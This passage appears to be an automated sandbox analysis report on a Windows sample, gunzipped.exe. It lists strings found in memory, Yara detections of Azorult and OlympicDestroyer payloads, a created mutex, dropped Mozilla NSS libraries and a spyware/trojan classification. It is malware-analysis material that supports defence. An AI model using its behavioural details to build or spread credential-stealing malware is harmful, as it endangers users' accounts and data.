Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.245173320.000000000567D000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: gunzipped.exe, 00000001.00000003.244756516.0000000005679000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers=
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: gunzipped.exe, 00000001.00000002.256437881.0000000005670000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.como&
Source: gunzipped.exe, 00000001.00000002.256437881.0000000005670000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.comt
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com&Yy
Source: gunzipped.exe, 00000001.00000003.239044619.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com-u
Source: gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comX
Source: gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comc:Ye
Source: gunzipped.exe, 00000001.00000003.239044619.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comcTY
Source: gunzipped.exe, 00000001.00000003.239022804.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comh
Source: gunzipped.exe, 00000001.00000003.239071329.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.comnyY
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/-t-
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cr
Source: gunzipped.exe, 00000001.00000003.241067654.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnI
Source: gunzipped.exe, 00000001.00000003.240832501.00000000056AD000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnj
Source: gunzipped.exe, 00000001.00000003.240832501.00000000056AD000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cns
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp, gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/2
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/;
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Verd
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/&
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/A
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/l
Source: gunzipped.exe, 00000001.00000003.242706924.0000000005674000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/z
Source: mozglue.dll.3.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: http://www.mozilla.com0
Source: gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/Jhttps://login.live.com/login.srf.c
Source: gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp
Source: gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	String found in binary or memory: http://www.msn.com/de-ch/?ocid=iehp.c_
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/de-ch/Zhttps://contextual.media.net/medianet.phpZhttps://contextual.media.net/med
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: gunzipped.exe, 00000001.00000003.238889129.0000000005691000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.coma-d
Source: gunzipped.exe, 00000001.00000003.239065899.0000000005694000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.comes
Source: gunzipped.exe, 00000001.00000003.238889129.0000000005691000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.comn-u
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: gunzipped.exe, 00000001.00000003.240102819.0000000005679000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: gunzipped.exe, 00000001.00000003.240102819.0000000005679000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.krend
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: gunzipped.exe, 00000001.00000003.239257578.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com(Yk
Source: gunzipped.exe, 00000001.00000003.239302434.000000000568B000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comlic:Ye
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: gunzipped.exe, 00000001.00000002.257287846.0000000005830000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=2542116;cat=chom0;ord=4842492154761;g
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp, gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=58648497779
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://2542116.fls.doubleclick.net/activityi;src=2542116;type=clien612;cat=chromx;ord=1;num=3931852
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp, gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	String found in binary or memory: https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gt
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=5864849777998;gtm=
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.p
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.phpd=
Source: gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=722878611&size=306x271&https=1LMEM
Source: gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CU157172&crid=858412214&size=306x271&https=1LMEM
Source: gunzipped.exe	String found in binary or memory: https://dotbit.me/a/
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1601451842&rver=6.0.5286.0&wp=MBI_SSL&wre
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authoriz
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp, softokn3.dll.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/chrome/
Source: gunzipped.exe, 00000003.00000002.284563787.0000000000C9D000.00000004.00000020.sdmp	String found in binary or memory: https://www.google.com/chrome//J
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/Fs
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.png
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.pngS8
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/static/images/favicons/favicon-16x16.pngt
Source: gunzipped.exe, 00000003.00000002.284437491.0000000000C57000.00000004.00000020.sdmp, gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0#
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0)
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0LMEM
Source: gunzipped.exe, 00000003.00000003.277570895.0000000000CB5000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0p
Source: gunzipped.exe, 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp	String found in binary or memory: https://www.google.com/chrome/thank-you.htmlK

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Azorult Payload Author: kevoreilly
Source: 3.2.gunzipped.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 3.2.gunzipped.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Azorult Payload Author: kevoreilly
Source: 3.3.gunzipped.exe.39186c4.155.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 3.3.gunzipped.exe.393a6b1.154.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly
Source: 3.3.gunzipped.exe.39a5e02.153.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer Payload Author: kevoreilly

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F6108	1_2_016F6108
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F49A8	1_2_016F49A8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8430	1_2_016F8430
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FB8B8	1_2_016FB8B8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F9B70	1_2_016F9B70
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F3338	1_2_016F3338
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F9FF8	1_2_016F9FF8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F2A50	1_2_016F2A50
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FB620	1_2_016FB620
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F2E00	1_2_016F2E00
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F26E8	1_2_016F26E8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F42A0	1_2_016F42A0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8EA0	1_2_016F8EA0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F5280	1_2_016F5280
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F41F7	1_2_016F41F7
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F2DF1	1_2_016F2DF1
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F499A	1_2_016F499A
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FCC62	1_2_016FCC62
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FCC70	1_2_016FCC70
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8021	1_2_016F8021
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8420	1_2_016F8420
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8030	1_2_016F8030
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F6019	1_2_016F6019
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FB8AA	1_2_016FB8AA
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F376A	1_2_016F376A
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FB360	1_2_016FB360
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F9B60	1_2_016F9B60
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F3778	1_2_016F3778
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F9370	1_2_016F9370
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FB352	1_2_016FB352
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F7B08	1_2_016F7B08
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FD300	1_2_016FD300
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F9FE8	1_2_016F9FE8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F9380	1_2_016F9380
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8260	1_2_016F8260
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F5270	1_2_016F5270
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F2A40	1_2_016F2A40
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8E56	1_2_016F8E56
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F8250	1_2_016F8250
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F7E21	1_2_016F7E21
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F7E30	1_2_016F7E30
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FB610	1_2_016FB610
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F7AFA	1_2_016F7AFA
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FD2F0	1_2_016FD2F0
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FA2C8	1_2_016FA2C8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016F26D8	1_2_016F26D8
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: 1_2_016FA2D8	1_2_016FA2D8

Source: C:\Users\user\Desktop\gunzipped.exe	Code function: String function: 00403BF4 appears 46 times
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: String function: 004062FC appears 42 times
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: String function: 00404E98 appears 86 times
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: String function: 00404EC0 appears 33 times
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: String function: 0040300C appears 32 times
Source: C:\Users\user\Desktop\gunzipped.exe	Code function: String function: 004034E4 appears 33 times

Source: api-ms-win-core-debug-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.3.dr	Static PE information: No import functions for PE file found

Source: gunzipped.exe, 00000001.00000002.253408009.0000000000CF0000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAuz vs gunzipped.exe
Source: gunzipped.exe, 00000001.00000002.262457843.0000000007360000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs gunzipped.exe
Source: gunzipped.exe, 00000001.00000002.263060483.0000000007680000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs gunzipped.exe
Source: gunzipped.exe, 00000001.00000002.257237268.0000000005810000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSmartFormat.dll8 vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.268805106.0000000003724000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameapisetstubj% vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.274190761.00000000026B4000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.274865988.0000000004150000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenssdbm3.dll0 vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamesoftokn3.dll0 vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameucrtbase.dllj% vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.275123945.000000000342C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemsvcp140.dll^ vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.269486087.0000000003728000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000003.269240179.0000000003728000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000002.284083374.0000000000550000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameAuz vs gunzipped.exe
Source: gunzipped.exe, 00000003.00000002.284666439.0000000002670000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs gunzipped.exe
Source: gunzipped.exe	Binary or memory string: OriginalFilenameAuz vs gunzipped.exe

Source: gunzipped.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 3.2.gunzipped.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 3.2.gunzipped.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Azorult_1 author = kevoreilly, description = Azorult Payload, cape_type = Azorult Payload
Source: 3.3.gunzipped.exe.39186c4.155.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 3.3.gunzipped.exe.393a6b1.154.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload
Source: 3.3.gunzipped.exe.39a5e02.153.raw.unpack, type: UNPACKEDPE	Matched rule: OlympicDestroyer_1 author = kevoreilly, description = OlympicDestroyer Payload, cape_type = OlympicDestroyer Payload

Source: gunzipped.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@3/50@0/1

Source: C:\Users\user\Desktop\gunzipped.exe

Code function: 3_2_00416290 LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,GetCurrentProcessId,

3_2_00416290

Source: C:\Users\user\Desktop\gunzipped.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\gunzipped.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Mutant created: \Sessions\1\BaseNamedObjects\AE86A6D5-F9414907-A7566F0F-BE57D046-B54D7B81F

Source: C:\Users\user\Desktop\gunzipped.exe

File created: C:\Users\user\AppData\Local\Temp\2fda\

Jump to behavior

Source: gunzipped.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\gunzipped.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Users\user\Desktop\gunzipped.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Users\user\Desktop\gunzipped.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: gunzipped.exe, 00000003.00000003.275174463.00000000034A0000.00000004.00000001.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
